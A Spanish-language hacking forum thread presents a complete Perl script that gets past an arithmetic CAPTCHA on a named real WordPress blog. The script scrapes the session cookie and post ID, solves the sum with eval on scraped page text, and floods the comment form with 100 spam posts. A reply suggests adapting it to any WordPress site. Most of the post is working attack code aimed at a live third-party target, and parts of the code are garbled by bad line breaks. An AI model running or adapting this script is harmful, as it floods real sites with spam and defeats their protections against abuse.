Autor Tema: Bypass CAPTCHA aritmético WordPress  (Leído 3997 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Sombrero de paja Molder

  • Sombrero de Paja
  • Mensajes: 22
  • Liked: 0
  • Sombrero de Paja
    • Aztlan Hack
Bypass CAPTCHA aritmético WordPress
« : febrero 16, 2010, 09:26:52 am »
¿Qué es el CAPTCHA?

El CAPTCHA es una prueba-desafío con el fin de identificar si el usuario de un servicio es un ser humano o una computadora.

Estas pruebas son utilizadas para evitar que robots tengan acceso a ciertos servicios y aprovechen su ventaja de automatización para spamear o comprometer un sistema.

La prueba consiste en crear desafíos que una maquina se supone no debería de ser capaz de superar, por ejemplo:

Escribir la secuencia de caracteres que aparecen en una imagen.

Contestar una pregunta lógica aleatoria.

¿De qué color es el caballo blanco de napoleón?

Resolver una operación aritmética aleatoria.

Cuál es el resultado de 13 + 37…

Entre otros.

Últimamente navegando en la red me encontré con varias páginas que están usando un CAPTCHA aritmético que como antes dije consiste en encontrar el resultado de una sencilla operación matemática.

El uso de este se debe a que muchos usuarios se quejan de no entender las secuencias de caracteres en imágenes, sin embargo esto trae un problema mayor el cual no reside en el tipo de prueba si no en la forma
en que se la presentan al usuario.

Normalmente cuando nos piden llenar una secuencia de caracteres de una imagen solo podemos identificar dichos caracteres por medio de la vista, sin embargo con los CAPTCHA aritmético cometieron el error de
colocar la operación en el código HTML.

A continuación propongo una forma de superar estas pruebas con ayuda de un sencillo programa en perl y como pagina de prueba usare un blog WordPress que me encontré por ahí (http://www.elcodigok.com.ar/).

Obteniendo el código fuente de la página.

Lo primero que hacemos es obtener el código fuente de algún artículo de la página donde queramos llenar de comentarios.

Para la lectura de código fuente aremos un llamado mediante SOCKETS y leeremos línea por línea para que con ayuda de expresiones regulares obtengamos la cookie en la que se almacena nuestra sesión activa, la
operación aritmética de prueba y algún campo “hidden” que contenga el id del artículo.

Código: [Seleccionar]
use IO::Socket;
$host = "www.elcodigok.com.ar"; #URL de la pagina
$path = "2010/01/la-prueba-del-spam/"; # URL del articulo
# Exprecion regular de la operacion aritmetica de captcha
$exprecion_captcha = "(<label for=\"answer\">Escribe el resultado de:
(.*?)<\/label>)";
# Exprecion regular del input que cntiene el id del articulo
$id_post = '(<input type="hidden" name="comment_post_ID" value="(.*?)" />)';
my $remote = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $host,
PeerPort => "http(80)");
unless ($remote) { die "[+] No se puede conectar al host $host \n" }
$remote->autoflush(1);
print $remote "GET /".$path." HTTP/1.1\nHOST: ".$host." \n\n";
while(<$remote>)
{
$linea = $_;
#Exprecion regular para obtener la cookie
if($linea =~ /(Set-Cookie: (.*?)=(.*?);)/i)
{
$cookiename = $2;
$cookie = $3;
#Valor de la cookie viva en nuestra sesion
}
if ($linea =~ /$exprecion_captcha/i)
{
$operacion=$2;
eval "\$result = $operacion";
#Aquí se resuelve la operación del captcha xD
}
if ($linea =~ /$id_post/i)
{
$id=$2;
#Id del articulo
}
}

Con esto obtenemos la información necesaria ahora con ayuda de la librería UserAgente de Perl aremos una petición POST a la página ACTION del formulario de los comentarios. Enviamos una cadena POSTDATA con todas las variables necesarias para publicar el mensaje además de pasar el sesion ID de la cookie que
obtubimos con el socket.


Código: [Seleccionar]
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use HTTP::Request::Common;
use HTTP::Cookies;
$submit = "http://www.elcodigok.com.ar/wp-comments-post.php";
# URL del reguistro de comentarios
$proxy = “”; #Por si usamos proxy
my $useragent = LWP::UserAgent->new();
$useragent->agent("Sombrero de paja Molder");
if($proxy ne "")
{
$useragent->proxy(['http', 'ftp'], 'http://'.$proxy.'/');
$useragent->no_proxy('localhost');
}$
useragent->timeout(30);
my $cookie_jar = HTTP::Cookies->new;
$cookie_jar->set_cookie(undef,$cookiename,$cookie,'/',$host,'80');
$useragent->cookie_jar($cookie_jar);
my $respuesta = $useragent->request(POST $submit,[
"author" => "Sombrero de paja Molder",
"email => "molder\@aztlan-hack\.org",
"url" => "",
"comment" => "Flood by Sombrero de paja molder | Aztlan-Hack I. S. T. |
http://www.aztlan-hack.org ".$x,
"answer" => $result,
"comment_post_ID" => $id,
"submit" => "Submit+Comment"]);

Con esto hemos resuelto el problema del captcha ahora para hacer el flood solo basta meter el codigo en algún ciclo, para el caso particular de Word press es necesario cambiar el mensaje con algún parámetro
aleatorio ya que valida similitud del mensajes y nos dira que ese mensaje se envio anteriormente.



Código Fuente Completo:

Código: [Seleccionar]
#Sombrero de paja molder
#Azltan Hack I. S. T.
#15 feb 2010
#http://www.aztlan-hack.org
#email: molder@aztlan-hack.org
#msn: molder@aztlan-hack.org
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use HTTP::Request::Common;
use IO::Socket;
use HTTP::Cookies;
$proxy = "";
$host = "www.elcodigok.com.ar"; #URL de la pagina
$path = "2010/01/la-prueba-del-spam/"; # URL del articulo
$submit = "http://www.elcodigok.com.ar/wp-comments-post.php"; # URL del reguistro
de comentarios
# Exprecion regular de la operacion aritmetica de captcha
$exprecion_captcha = "(<label for=\"answer\">Escribe el resultado de:
(.*?)<\/label>)";
# Exprecion regular del input que cntiene el id del articulo
$id_post = '(<input type="hidden" name="comment_post_ID" value="(.*?)" />)';
print "[+] Iniciando Flooding...\n";
for($x=0;$x <=100;$x++)
{
my $remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "http(80)",
);
unless ($remote) { die "[+] No se puede conectar al host $host \n" }
$remote->autoflush(1);
print $remote "GET /".$path." HTTP/1.1\nHOST: ".$host." \n\n";
while(<$remote>)
{
$linea = $_;
if($linea =~ /(Set-Cookie: (.*?)=(.*?);)/i)
{
$cookiename = $2;
$cookie = $3;
}i
f ($linea =~ /$exprecion_captcha/i)
{
$operacion=$2;
eval "\$result = $operacion";
}i
f ($linea =~ /$id_post/i)
{
$id=$2;
}i
f($id ne "" && $cookie ne "" && $result ne "")
{
my $useragent = LWP::UserAgent->new();
$useragent->agent("Sombrero de paja Molder");
if($proxy ne "")
{
$useragent->proxy(['http', 'ftp'], 'http://'.$proxy.'/');
$useragent->no_proxy('localhost');
}$
useragent->timeout(30);
my $cookie_jar = HTTP::Cookies->new;
$cookie_jar->set_cookie(undef,$cookiename,$cookie,'/',
$host,'80');
$useragent->cookie_jar($cookie_jar);
my $respuesta = $useragent->request(POST $submit,[
"author" => "Sombrero de paja Molder",
"email" => "molder\@aztlan-hack\.org",
"url" => "",
"comment" => "Flood by Sombrero de paja molder | Aztlan-
Hack I. S. T. | http://www.aztlan-hack.org ".$x,
"answer" => $result,
"comment_post_ID" => $id,
"submit" => "Submit+Comment"]);
print "\t[*] Mensaje enviado captcha: $operacion = $result\n";
print $respuesta->content;
$id = "";
$cookie = "";
$result = "";
}
}
} print "[+] Fin del programa\n";[/b]

Powered by Sombrero de paja Molder

Puedes descargar el PDF de: http://www.aztlan-hack.org/index.php?command=1022&id=Bypass-CAPTCHA-aritmetico
« Última Modificación: febrero 12, 2013, 11:14:12 am por Sombrero de paja Molder »
www.aztlan-hack.org  || Aztlan Hack

hkm

  • Moderador
  • *
  • Mensajes: 1234
  • Liked: 260
    • Hakim.Ws
Re: Bypass CAPTCHA aritmético
« Respuesta #1 : febrero 20, 2010, 02:20:41 pm »
Esta muy bueno Molder, modificando un poco la expresión regular podría funcionar para cualquier wordpress con esa función habilitada sin importar el idioma.

Saludos!